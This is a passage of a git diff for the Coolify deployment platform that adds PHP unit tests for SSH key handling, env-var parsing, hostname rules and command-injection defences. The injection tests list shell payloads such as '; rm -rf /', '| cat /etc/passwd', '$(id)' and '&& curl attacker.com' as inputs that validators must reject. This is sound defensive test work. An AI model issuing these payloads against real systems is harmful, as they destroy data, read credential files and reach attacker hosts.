$server->shouldReceive('isSentinelEnabled')->andReturn(true); - $server->id = 4; - $server->name = 'test-server-mid-hour'; - $server->ip = '192.168.1.103'; - $server->sentinel_updated_at = Carbon::now(); - $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']); - $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120); - - // Mock the Server query - Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf(); - Server::shouldReceive('get')->andReturn(collect([$server])); - - // Execute the job - $job = new ServerManagerJob; - $job->handle(); - - // Assert CheckAndStartSentinelJob was NOT dispatched (not top of hour) - Queue::assertNotPushed(CheckAndStartSentinelJob::class); -}); diff --git a/tests/Unit/ServerQueryScopeTest.php b/tests/Unit/ServerQueryScopeTest.php index 8ab0b8b10..0d1e7729c 100644 --- a/tests/Unit/ServerQueryScopeTest.php +++ b/tests/Unit/ServerQueryScopeTest.php @@ -3,7 +3,6 @@ use App\Enums\ProxyTypes; use App\Models\Server; use Illuminate\Database\Eloquent\Builder; -use Mockery; it('filters servers by proxy type using whereProxyType scope', function () { // Mock the Builder diff --git a/tests/Unit/ServiceIndexValidationTest.php b/tests/Unit/ServiceIndexValidationTest.php new file mode 100644 index 000000000..7b746cde6 --- /dev/null +++ b/tests/Unit/ServiceIndexValidationTest.php @@ -0,0 +1,11 @@ + $this->rules)->call($component); + + expect($rules['publicPortTimeout']) + ->toContain('min:1'); +}); diff --git a/tests/Unit/ServiceParserEnvVarPreservationTest.php b/tests/Unit/ServiceParserEnvVarPreservationTest.php new file mode 100644 index 000000000..16a5ad676 --- /dev/null +++ b/tests/Unit/ServiceParserEnvVarPreservationTest.php @@ -0,0 +1,69 @@ +toContain( + "// Simple variable reference (e.g. DATABASE_URL: \${DATABASE_URL})\n". + " // Ensure the variable exists in DB for .env generation and UI display\n". + ' $resource->environment_variables()->firstOrCreate(' + ); +}); + +it('does not set value to null for simple variable references in serviceParser', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // The old bug: $value = null followed by updateOrCreate with 'value' => $value + // This pattern should NOT exist for simple variable references + expect($parsersFile)->not->toContain( + "\$value = null;\n". + ' $resource->environment_variables()->updateOrCreate(' + ); +}); + +it('uses firstOrCreate for simple variable refs without default in serviceParser balanced brace path', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // In the balanced brace extraction path, simple variable references without defaults + // should use firstOrCreate to preserve user-saved values + // This appears twice (applicationParser and serviceParser) + $count = substr_count( + $parsersFile, + "// Simple variable reference without default\n". + " // Use firstOrCreate to avoid overwriting user-saved values on redeploy\n". + ' $envVar = $resource->environment_variables()->firstOrCreate(' + ); + + expect($count)->toBe(1, 'serviceParser should use firstOrCreate for simple variable refs without default'); +}); + +it('does not replace self-referencing variable values in the environment array', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // Fix for #9136: self-referencing variables (KEY=${KEY}) must NOT have their ${VAR} + // reference replaced with the DB value in the compose environment section. + // Instead, the reference should stay intact so Docker Compose resolves from .env at deploy time. + // This prevents stale values when users update env vars without re-parsing compose. + expect($parsersFile)->toContain('Keep the ${VAR} reference in compose'); + expect($parsersFile)->not->toContain('$environment[$key->value()] = $envVar->value;'); +}); + +it('does not use updateOrCreate with value null for user-editable environment variables', function () { + $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php'); + + // The specific bug pattern: setting $value = null then calling updateOrCreate with 'value' => $value + // This overwrites user-saved values with null on every deploy + expect($parsersFile)->not->toContain( + "\$value = null;\n". + ' $resource->environment_variables()->updateOrCreate(' + ); +}); diff --git a/tests/Unit/ServiceRequiredPortTest.php b/tests/Unit/ServiceRequiredPortTest.php index 2ad345c44..6ef5bf030 100644 --- a/tests/Unit/ServiceRequiredPortTest.php +++ b/tests/Unit/ServiceRequiredPortTest.php @@ -2,7 +2,6 @@ use App\Models\Service; use App\Models\ServiceApplication; -use Mockery; it('returns required port from service template', function () { // Mock get_service_templates() function diff --git a/tests/Unit/SshCommandInjectionTest.php b/tests/Unit/SshCommandInjectionTest.php new file mode 100644 index 000000000..e7eeff62d --- /dev/null +++ b/tests/Unit/SshCommandInjectionTest.php @@ -0,0 +1,125 @@ +validate('ip', '192.168.1.1', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('accepts a valid IPv6 address', function () { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', '2001:db8::1', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('accepts a valid hostname', function () { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', 'my-server.example.com', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeFalse(); +}); + +it('rejects injection payloads in server ip', function (string $payload) { + $rule = new ValidServerIp; + $failed = false; + $rule->validate('ip', $payload, function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue("ValidServerIp should reject: $payload"); +})->with([ + 'semicolon' => ['192.168.1.1; rm -rf /'], + 'pipe' => ['192.168.1.1 | cat /etc/passwd'], + 'backtick' => ['192.168.1.1`id`'], + 'dollar subshell' => ['192.168.1.1$(id)'], + 'ampersand' => ['192.168.1.1 & id'], + 'newline' => ["192.168.1.1\nid"], + 'null byte' => ["192.168.1.1\0id"], +]); + +// ------------------------------------------------------------------------- +// Server model setter casts +// ------------------------------------------------------------------------- + +it('strips dangerous characters from server ip on write', function () { + $server = new App\Models\Server; + $server->ip = '192.168.1.1;rm -rf /'; + // Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed + expect($server->ip)->toBe('192.168.1.1rm-rf'); +}); + +it('strips dangerous characters from server user on write', function () { + $server = new App\Models\Server; + $server->user = 'root$(id)'; + expect($server->user)->toBe('rootid'); +}); + +it('strips non-numeric characters from server port on write', function () { + $server = new App\Models\Server; + $server->port = '22; evil'; + expect($server->port)->toBe(22); +}); + +// ------------------------------------------------------------------------- +// escapeshellarg() in generated SSH commands (source-level verification) +// ------------------------------------------------------------------------- + +it('has escapedUserAtHost private static helper in SshMultiplexingHelper', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + expect($reflection->hasMethod('escapedUserAtHost'))->toBeTrue(); + + $method = $reflection->getMethod('escapedUserAtHost'); + expect($method->isPrivate())->toBeTrue(); + expect($method->isStatic())->toBeTrue(); +}); + +it('wraps port with escapeshellarg in getCommonSshOptions', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + $source = file_get_contents($reflection->getFileName()); + + expect($source)->toContain('escapeshellarg((string) $server->port)'); +}); + +it('has no raw user@ip string interpolation in SshMultiplexingHelper', function () { + $reflection = new ReflectionClass(SshMultiplexingHelper::class); + $source = file_get_contents($reflection->getFileName()); + + expect($source)->not->toContain('{$server->user}@{$server->ip}'); +}); + +// ------------------------------------------------------------------------- +// ValidHostname rejects shell metacharacters +// ------------------------------------------------------------------------- + +it('rejects semicolon in hostname', function () { + $rule = new ValidHostname; + $failed = false; + $rule->validate('hostname', 'example.com;id', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue(); +}); + +it('rejects backtick in hostname', function () { + $rule = new ValidHostname; + $failed = false; + $rule->validate('hostname', 'example.com`id`', function () use (&$failed) { + $failed = true; + }); + expect($failed)->toBeTrue(); +}); diff --git a/tests/Unit/SshKeyValidationTest.php b/tests/Unit/SshKeyValidationTest.php new file mode 100644 index 000000000..adc6847d1 --- /dev/null +++ b/tests/Unit/SshKeyValidationTest.php @@ -0,0 +1,208 @@ +diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid(); + File::ensureDirectoryExists($this->diskRoot); + config(['filesystems.disks.ssh-keys.root' => $this->diskRoot]); + app('filesystem')->forgetDisk('ssh-keys'); + } + + protected function tearDown(): void + { + File::deleteDirectory($this->diskRoot); + parent::tearDown(); + } + + private function makePrivateKey(string $keyContent = 'TEST_KEY_CONTENT'): PrivateKey + { + $privateKey = new class extends PrivateKey + { + public int $storeCallCount = 0; + + public function refresh() + { + return $this; + } + + public function getKeyLocation() + { + return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}"); + } + + public function storeInFileSystem() + { + $this->storeCallCount++; + $filename = "ssh_key@{$this->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, $this->private_key); + $keyLocation = $disk->path($filename); + chmod($keyLocation, 0600); + + return $keyLocation; + } + }; + + $privateKey->uuid = (string) Str::uuid(); + $privateKey->private_key = $keyContent; + + return $privateKey; + } + + private function callValidateSshKey(PrivateKey $privateKey): void + { + $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey'); + $reflection->setAccessible(true); + $reflection->invoke(null, $privateKey); + } + + public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions() + { + $privateKey = $this->makePrivateKey('NEW_PRIVATE_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'OLD_PRIVATE_KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0644); + + $this->callValidateSshKey($privateKey); + + $this->assertSame('NEW_PRIVATE_KEY_CONTENT', $disk->get($filename)); + $this->assertSame(1, $privateKey->storeCallCount); + $this->assertSame(0600, fileperms($keyPath) & 0777); + } + + public function test_validate_ssh_key_creates_missing_file() + { + $privateKey = $this->makePrivateKey('MY_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $this->assertFalse($disk->exists($filename)); + + $this->callValidateSshKey($privateKey); + + $this->assertTrue($disk->exists($filename)); + $this->assertSame('MY_KEY_CONTENT', $disk->get($filename)); + $this->assertSame(1, $privateKey->storeCallCount); + } + + public function test_validate_ssh_key_skips_rewrite_when_content_matches() + { + $privateKey = $this->makePrivateKey('SAME_KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'SAME_KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0600); + + $this->callValidateSshKey($privateKey); + + $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches'); + $this->assertSame('SAME_KEY_CONTENT', $disk->get($filename)); + } + + public function test_validate_ssh_key_fixes_permissions_without_rewrite() + { + $privateKey = $this->makePrivateKey('KEY_CONTENT'); + + $filename = "ssh_key@{$privateKey->uuid}"; + $disk = Storage::disk('ssh-keys'); + $disk->put($filename, 'KEY_CONTENT'); + $keyPath = $disk->path($filename); + chmod($keyPath, 0644); + + $this->callValidateSshKey($privateKey); + + $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches'); + $this->assertSame(0600, fileperms($keyPath) & 0777, 'Should fix permissions even without rewrite'); + } + + public function test_store_in_file_system_enforces_correct_permissions() + { + $privateKey = $this->makePrivateKey('KEY_FOR_PERM_TEST'); + $privateKey->storeInFileSystem(); + + $filename = "ssh_key@{$privateKey->uuid}"; + $keyPath = Storage::disk('ssh-keys')->path($filename); + + $this->assertSame(0600, fileperms($keyPath) & 0777); + } + + public function test_store_in_file_system_lock_file_persists() + { + // Use the real storeInFileSystem to verify lock file behavior + $disk = Storage::disk('ssh-keys'); + $uuid = (string) Str::uuid(); + $filename = "ssh_key@{$uuid}"; + $keyLocation = $disk->path($filename); + $lockFile = $keyLocation.'.lock'; + + $privateKey = new class extends PrivateKey + { + public function refresh() + { + return $this; + } + + public function getKeyLocation() + { + return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}"); + } + + protected function ensureStorageDirectoryExists() + { + // No-op in test — directory already exists + } + }; + + $privateKey->uuid = $uuid; + $privateKey->private_key = 'LOCK_TEST_KEY'; + + $privateKey->storeInFileSystem(); + + // Lock file should persist (not be deleted) to prevent flock race conditions + $this->assertFileExists($lockFile, 'Lock file should persist after storeInFileSystem'); + } + + public function test_server_model_detects_private_key_id_changes() + { + $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted'); + $filename = $reflection->getFileName(); + $startLine = $reflection->getStartLine(); + $endLine = $reflection->getEndLine(); + $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1)); + + $this->assertStringContainsString( + "wasChanged('private_key_id')", + $source, + 'Server saved event should detect private_key_id changes' + ); + } +} diff --git a/tests/Unit/UnmanagedContainerCommandInjectionTest.php b/tests/Unit/UnmanagedContainerCommandInjectionTest.php new file mode 100644 index 000000000..cf3e5ebea --- /dev/null +++ b/tests/Unit/UnmanagedContainerCommandInjectionTest.php @@ -0,0 +1,28 @@ +toBeFalse(); +})->with([ + 'semicolon injection' => 'x; id > /tmp/pwned', + 'pipe injection' => 'x | cat /etc/passwd', + 'command substitution backtick' => 'x`whoami`', + 'command substitution dollar' => 'x$(whoami)', + 'ampersand background' => 'x & rm -rf /', + 'double ampersand' => 'x && curl attacker.com', + 'newline injection' => "x\nid", + 'space injection' => 'x id', + 'redirect output' => 'x > /tmp/pwned', + 'redirect input' => 'x < /etc/passwd', +]); + +it('accepts valid Docker container IDs', function (string $id) { + expect(ValidationPatterns::isValidContainerName($id))->toBeTrue(); +})->with([ + 'short hex id' => 'abc123def456', + 'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2', + 'container name' => 'my-container', + 'name with dots' => 'my.container.name', + 'name with underscores' => 'my_container_name', +]); diff --git a/tests/Unit/ValidHostnameTest.php b/tests/Unit/ValidHostnameTest.php index 859262c3e..6580a7c5d 100644 --- a/tests/Unit/ValidHostnameTest.php +++ b/tests/Unit/ValidHostnameTest.php @@ -21,6 +21,8 @@ 'subdomain' => 'web.app.example.com', 'max label length' => str_repeat('a', 63), 'max total length' => str_repeat('a', 63).'.'.str_repeat('b', 63).'.'.str_repeat('c', 63).'.'.str_repeat('d', 59), + 'uppercase hostname' => 'MyServer', + 'mixed case fqdn' => 'MyServer.Example.COM', ]); it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $expectedError) { @@ -36,8 +38,7 @@ expect($failCalled)->toBeTrue(); expect($errorMessage)->toContain($expectedError); })->with([ - 'uppercase letters' => ['MyServer', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], - 'underscore' => ['my_server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], + 'underscore' => ['my_server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'], 'starts with hyphen' => ['-myserver', 'cannot start or end with a hyphen'], 'ends with hyphen' => ['myserver-', 'cannot start or end with a hyphen'], 'starts with dot' => ['.myserver', 'cannot start or end with a dot'], @@ -46,9 +47,9 @@ 'too long total' => [str_repeat('a', 254), 'must not exceed 253 characters'], 'label too long' => [str_repeat('a', 64), 'must be 1-63 characters'], 'empty label' => ['my..server', 'consecutive dots'], - 'special characters' => ['my@server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], - 'space' => ['my server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], - 'shell metacharacters' => ['my;server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'], + 'special characters' => ['my@server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'], + 'space' => ['my server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'], + 'shell metacharacters' => ['my;server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'], ]); it('accepts empty hostname', function () { diff --git a/tests/Unit/ValidationPatternsTest.php b/tests/Unit/ValidationPatternsTest.php new file mode 100644 index 000000000..0da8f9a4d --- /dev/null +++ b/tests/Unit/ValidationPatternsTest.php @@ -0,0 +1,82 @@ +toBe(1); +})->with([ + 'simple name' => 'My Server', + 'name with hyphen' => 'my-server', + 'name with underscore' => 'my_server', + 'name with dot' => 'my.server', + 'name with slash' => 'my/server', + 'name with at sign' => 'user@host', + 'name with ampersand' => 'Tom & Jerry', + 'name with parentheses' => 'My Server (Production)', + 'name with hash' => 'Server #1', + 'name with comma' => 'Server, v2', + 'name with colon' => 'Server: Production', + 'name with plus' => 'C++ App', + 'unicode name' => 'Ünïcödé Sërvér', + 'unicode chinese' => '我的服务器', + 'numeric name' => '12345', + 'complex name' => 'App #3 (staging): v2.1+hotfix', +]); + +it('rejects names with dangerous characters', function (string $name) { + expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(0); +})->with([ + 'semicolon' => 'my;server', + 'pipe' => 'my|server', + 'dollar sign' => 'my$server', + 'backtick' => 'my`server', + 'backslash' => 'my\\server', + 'less than' => 'my 'my>server', + 'curly braces' => 'my{server}', + 'square brackets' => 'my[server]', + 'tilde' => 'my~server', + 'caret' => 'my^server', + 'question mark' => 'my?server', + 'percent' => 'my%server', + 'double quote' => 'my"server', + 'exclamation' => 'my!server', + 'asterisk' => 'my*server', +]); + +it('generates nameRules with correct defaults', function () { + $rules = ValidationPatterns::nameRules(); + + expect($rules)->toContain('required') + ->toContain('string') + ->toContain('min:3') + ->toContain('max:255') + ->toContain('regex:'.ValidationPatterns::NAME_PATTERN); +}); + +it('generates nullable nameRules when not required', function () { + $rules = ValidationPatterns::nameRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); + +it('generates application names that comply with NAME_PATTERN', function (string $repo, string $branch) { + $name = generate_application_name($repo, $branch, 'testcuid'); + + expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1); +})->with([ + 'normal repo' => ['owner/my-app', 'main'], + 'repo with dots' => ['repo.with.dots', 'feat/branch'], + 'repo with plus' => ['C++ App', 'main'], + 'branch with parens' => ['my-app', 'fix(auth)-login'], + 'repo with exclamation' => ['my-app!', 'main'], + 'repo with brackets' => ['app[test]', 'develop'], +]); + +it('falls back to random name when repo produces empty name', function () { + $name = generate_application_name('!!!', 'main', 'testcuid'); + + expect(mb_strlen($name))->toBeGreaterThanOrEqual(3) + ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1); +}); diff --git a/tests/v4/Feature/DangerDeleteResourceTest.php b/tests/v4/Feature/DangerDeleteResourceTest.php new file mode 100644 index 000000000..7a73f5979 --- /dev/null +++ b/tests/v4/Feature/DangerDeleteResourceTest.php @@ -0,0 +1,81 @@ + 0]); + Queue::fake(); + + $this->user = User::factory()->create([ + 'password' => Hash::make('test-password'), + ]); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'owner']); + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::factory()->create([ + 'server_id' => $this->server->id, + 'network' => 'test-network-'.fake()->unique()->word(), + ]); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); + + // Bind route parameters so get_route_parameters() works in the Danger component + $route = Route::get('/test/{project_uuid}/{environment_uuid}', fn () => '')->name('test.danger'); + $request = Request::create("/test/{$this->project->uuid}/{$this->environment->uuid}"); + $route->bind($request); + app('router')->setRoutes(app('router')->getRoutes()); + Route::dispatch($request); +}); + +test('delete returns error string when password is incorrect', function () { + Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'wrong-password') + ->assertReturned('The provided password is incorrect.'); + + // Resource should NOT be deleted + expect(Application::find($this->application->id))->not->toBeNull(); +}); + +test('delete succeeds with correct password and redirects', function () { + Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'test-password') + ->assertHasNoErrors(); + + // Resource should be soft-deleted + expect(Application::find($this->application->id))->toBeNull(); +}); + +test('delete applies selectedActions from checkbox state', function () { + $component = Livewire::test(Danger::class, ['resource' => $this->application]) + ->call('delete', 'test-password', ['delete_configurations', 'docker_cleanup']); + + expect($component->get('delete_volumes'))->toBeFalse(); + expect($component->get('delete_connected_networks'))->toBeFalse(); + expect($component->get('delete_configurations'))->toBeTrue(); + expect($component->get('docker_cleanup'))->toBeTrue(); +}); diff --git a/versions.json b/versions.json index 7409fbc42..af11ef4d3 100644 --- a/versions.json +++ b/versions.json @@ -1,29 +1,29 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.464" + "version": "4.0.0-beta.471" }, "nightly": { - "version": "4.0.0-beta.465" + "version": "4.0.0" }, "helper": { "version": "1.0.12" }, "realtime": { - "version": "1.0.10" + "version": "1.0.11" }, "sentinel": { - "version": "0.0.18" + "version": "0.0.21" } }, "traefik": { - "v3.6": "3.6.5", + "v3.6": "3.6.11", "v3.5": "3.5.6", "v3.4": "3.4.5", "v3.3": "3.3.7", "v3.2": "3.2.5", "v3.1": "3.1.7", "v3.0": "3.0.4", - "v2.11": "2.11.32" + "v2.11": "2.11.40" } -} \ No newline at end of file +}